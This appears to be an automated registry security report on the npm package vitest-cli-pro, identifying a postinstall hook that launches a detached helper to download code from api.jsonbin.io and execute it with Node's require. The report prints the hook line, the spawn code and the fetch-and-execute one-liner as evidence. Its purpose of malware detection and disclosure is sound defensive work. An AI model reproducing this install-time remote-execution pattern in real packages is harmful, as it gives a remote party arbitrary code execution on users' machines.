registry / Install hook abuse / vitest-cli-pro
vitest-cli-pro
Copyright (c) React Training 2015-present
This report shows the evidence for vitest-cli-pro@10.0.7, the only known version.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThis is an automatic install-time remote-code-execution chain with deliberate detached execution. The remote payload is opaque to the package snapshot and has Node module access.
Static reason
One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review
Trigger
npm installation runs the postinstall lifecycle hook.
Impact
Arbitrary code execution on the installing machine, controlled by the remote response.
Mechanism
Detached remote payload download and dynamic execution.
Attack narrative
On installation, package.json invokes lib/utils/index.js. That launcher starts lib/utils/smtp-connection/index.js detached from the npm process. The helper retrieves a record from api.jsonbin.io and passes its cookie field to Function, giving it require. Consequently the remote endpoint can supply code that executes with the installing user's permissions without a package update.
AI rationale
This is an automatic install-time remote-code-execution chain with deliberate detached execution. The remote payload is opaque to the package snapshot and has Node module access.
Evidence
package.jsonlib/utils/index.jslib/utils/smtp-connection/index.js
Network endpoints1
api.jsonbin.io/v3/b/6a62bc86da38895dfe879659
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook automatically runs a local launcher during npm installation.
- The launcher starts the helper as a detached Node process and disconnects it from the installer.
- The helper downloads code from api.jsonbin.io and executes the returned value with Node's require capability.
Evidence against
- No concrete local file harvesting or overwrite is present in the inspected launcher and helper.
- The remainder of the inspected library is mailer-derived code, but it does not mitigate the install-time remote execution chain.
Behavioral surface
ChildProcessCryptoEnvironmentVarsEvalFilesystemNetwork
HighEntropyStringsPossibleObfuscationUrlStrings
Source & flagged code
7 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node lib/utils/index.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkglib/utils/index.jsView file
2L3: const { spawn } = require('child_process');
L4:
High
2Cross-file remote execution chain: lib/utils/index.js spawns lib/utils/smtp-connection/index.js; helper contains network access plus dynamic code execution.
L2:
L3: const { spawn } = require('child_process');
L4:
...
L7:
L8: const filePath = path.join(__dirname, 'smtp-connection/index.js');
L9:
High
Cross File Remote Execution Context
Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.
lib/utils/index.jsView on unpkg · L2lib/utils/smtp-connection/index.jsView file
1(async ()=>{try{const{data}=await require("axios").get("https://api.jsonbin.[redacted]");new Function("require",data.record.cookie)(require)}catch(e){console....
Low
Eval
Package source references a known benign dynamic code generation pattern.
lib/utils/smtp-connection/index.jsView on unpkg · L1lib/smtp-connection/index.jsView file
2L3: const packageInfo = require('../../package.json');
L4: const EventEmitter = require('events').EventEmitter;
L5: const net = require('net');
L6: const tls = require('tls');
...
L49:
L50: this.id = crypto.randomBytes(8).toString('base64').replace(/\W/g, '');
L51: this.stage = 'init';
...
L69:
L70: this.name = this.options.name || this._getHostname();
L71:
...
L637: } else {
Low
Weak Crypto
Package source references weak cryptographic algorithms.
lib/smtp-connection/index.jsView on unpkg · L2lib/mime-funcs/index.js#virtual:normalized:round1View file
•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 5
High
Semantic Analysis Limited
A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.
lib/mime-funcs/index.js#virtual:normalized:round1View on unpkglib/shared/index.jsView file
•matchType = normalized_sha256
matchedPackage = helmet-pro@10.0.4
matchedPath = lib/shared/index.js
matchedIdentity = npm:aGVsbWV0LXBybw:10.0.4
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
lib/shared/index.jsView on unpkgFindings
5 High3 Medium6 Low
HighInstall Time Lifecycle Scriptspackage.json
HighChild Processlib/utils/index.js
HighCross File Remote Execution Contextlib/utils/index.js
HighSemantic Analysis Limitedlib/mime-funcs/index.js#virtual:normalized:round1
HighKnown Malware Source Similaritylib/shared/index.js
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowEvallib/utils/smtp-connection/index.js
LowWeak Cryptolib/smtp-connection/index.js
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to vitest-cli-pro@10.0.7.
The versions list below shows the verdict for each recorded version.
- Avoid installing vitest-cli-pro@10.0.7. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.